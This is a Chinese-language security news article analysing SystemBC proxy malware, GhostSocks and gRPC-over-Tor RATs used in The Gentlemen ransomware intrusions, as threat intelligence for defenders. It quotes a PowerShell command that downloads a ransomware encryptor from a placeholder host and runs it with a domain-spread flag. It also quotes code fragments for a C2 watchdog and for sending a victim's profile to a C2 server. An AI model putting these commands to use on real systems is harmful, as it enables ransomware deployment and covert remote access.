1. 簡介

現代網路威脅的樣貌越來越以高度模組化與無檔案執行框架為特徵。這份報告對 SystemBC proxy malware 提供了全面的技術分析,該惡意程式出現在近期由 The Gentlemen 勒索軟體即服務 (Ransomware-as-a-Service, RaaS) 合作夥伴所發動的攻擊活動中 [1] 。透過建立 SOCKS5 網路通道及使用客製化的加密協定(custom encrypted protocol),這些工具能在遭入侵的環境中促進隱蔽通訊與內部橫向移動。此外,這項研究也納入了對當代模組化遠端存取木馬 (Remote Access Trojans, RAT) 的比較性見解,這類木馬利用像是透過 Tor 使用 gRPC 等進階協定,以達成高度混淆與持久性 [3]

駭客如何透過 SystemBC 建立隱蔽後門?解密最新 C2 基礎架構與無檔案攻擊手法 | 資訊安全新聞

1. 簡介

2. SystemBC 架構的技術分析

SystemBC(在資安鑑識調查中常被辨識為 socks.exe )是建立持久命令與控制 (Command-and-Control, C2) 通道的關鍵組件。與傳統後門不同,SystemBC 專注於建立 SOCKS5 代理層,讓攻擊者可將任意流量路由通過受害者的網路。這項能力對於需要手動橫向移動與內部偵查的人為操作入侵來說至關重要 [1]

graph TD A[Attacker C2 Server] -- RC4 Encrypted Traffic --> B[SystemBC Proxy on Victim] B -- SOCKS5 Tunneling --> C[Internal Network Resources] B -- Payload Delivery --> D[Memory Injection / Disk Write] C -- Data Exfiltration --> B B -- Encrypted Response --> A

SystemBC 所使用的通訊協定通常是 RC4 加密的客製化實作,藉此混淆底層的 SOCKS5 handshake 及後續的資料傳輸。這種層疊方式能有效繞過許多使用特徵碼的網路安全控管機制。相比之下,使用 Golang 實作的現代替代方案如 GhostSocks ,提供了類似的 SOCKS5 reverse proxy 功能,但具備更強的模組化與反偵測特性 [2]

3. 命令與控制的演進:gRPC 與 Tor 整合

近期 C2 基礎架構的進展出現了轉向使用彈性網路協定的趨勢。某些進階 RAT 現在利用 Tor Expert Bundle 來建立 SOCKS5 代理,將流量路由到 .onion C2 伺服器 [3] 。透過使用 gRPC (Google Remote Procedure Call) ,這些惡意程式變種達成了雙向串流,允許 C2 伺服器以極低延遲即時推送指令。

3.1 自我修復監控機制 (Self-Healing Watchdog Mechanism)

為確保 C2 連線的高可用性,現今惡意程式常實作監控者-工作者模型(supervisor-worker model)。專屬的 watchdog process 會監控主要 C2 用戶端,並在發生故障時自動重新啟動它。這種架構模式對於在易變環境中維持持久性至關重要。

  1. // Self-healing watchdog: Monitoring and restarting the C2 worker process
  2. // This implementation ensures that the C2 connection remains active even if the worker is terminated.
  3. const worker = fork(SERVER_SCRIPT, [], { stdio: 'inherit', env: process.env });
  4. worker.on('exit', (code, signal) => {
  5. logger.warn(`Worker exited (code: ${code}, signal: ${signal}), restarting...`);
  6. // Implement a maximum restart limit to prevent infinite loops in case of persistent errors
  7. if (restartCount >= maxRestarts) {
  8. logger.error(`Max restarts reached, waiting before resuming`);
  9. setTimeout(() => {
  10. restartCount = 0;
  11. scheduleRestart();
  12. }, resetAfter);
  13. return;
  14. }
  15. scheduleRestart();
  16. });

4. 攻擊鏈與橫向移動

部署 SystemBC 之前,通常會先透過 Cobalt Strike 等工具進行初步存取。攻擊者利用特權位置將可執行檔寫入管理共用資料夾 (例如 ADMIN$ ),並透過遠端程序呼叫 (Remote Procedure Calls, RPC) 執行 [1] 。此階段會使用原生 Windows 指令進行廣泛偵查,以列舉使用者、系統資訊及內部文件。

階段 技術 使用工具
初步存取 釣魚 / 漏洞利用 Cobalt Strike, 客製化載入器
持久性 排程工作 / 服務 SystemBC, PowerShell
橫向移動 管理共用 / RPC regsvr32.exe, rundll32.exe
資料外洩 SOCKS5 Tunneling SystemBC, GhostSocks

4.2 自動化惡意程式散播

攻擊的最後階段通常涉及自動化部署勒索軟體。攻擊者使用 PowerShell 指令碼從內部暫存伺服器下載並執行加密程式。以下程式碼片段說明了一個典型的散播指令,用於散布 Grand 勒索軟體 [1]

  1. # PowerShell command for downloading and executing the ransomware payload
  2. # -ExecutionPolicy Bypass: Bypasses script execution restrictions
  3. # (new-object net.webclient).downloadfile: Downloads the encryptor from an internal DC
  4. # --password: Required for controlled execution of the ransomware
  5. # --spread: Command-line argument for built-in propagation across the domain
  6. powershell.exe -ExecutionPolicy Bypass -command (new-object net.webclient).downloadfile('http://[INTERNAL_DC]:8080/grand.exe', 'c:\programdata\r.exe');
  7. c:\programdata\r.exe --password [REDACTED_KEY] --spread [DOMAIN]\[USER]:[PASSWORD]

5. 受害者指紋採集 (Victim Fingerprinting) 與身分驗證

建立連線後,惡意程式會對受害者的環境執行詳細的指紋採集。這些資料(包含硬體規格、作業系統細節以及已安裝的安全產品)會被發送到 C2 伺服器,讓操作者能夠優先處理高價值的目標 [3]

  1. // Authentication payload: Sending victim profile to the C2 server via gRPC stream
  2. // This mechanism allows the attacker to identify and categorize the infected host.
  3. stream.write({
  4. auth: {
  5. machineId: MACHINE_ID,
  6. hostname: os.hostname(),
  7. os: `${os.platform()} ${os.arch()}`,
  8. version: CLIENT_VERSION,
  9. // ECDH public key for establishing encrypted communication channels
  10. ecdhPublicKey: appCrypto.getPublicKeyBytes(),
  11. tag: config.tag,
  12. operatorId: config.operator,
  13. hwid: getRawMachineGuid(),
  14. },
  15. });

6. 結論

將 SystemBC 與 GhostSocks 等複雜代理機制整合到勒索軟體攻擊中,標誌著攻擊基礎架構正朝向更具韌性與隱蔽性的方向轉變。透過利用 SOCKS5 通道、客製化加密以及像是透過 Tor 使用 gRPC 的現代協定,Threat actor 可以有效掩飾其活動,並維持對遭入侵網路的長期存取。防禦策略必須與時俱進,著重於偵測異常的對外代理流量,以及監控用於橫向移動的管理工具之執行情況。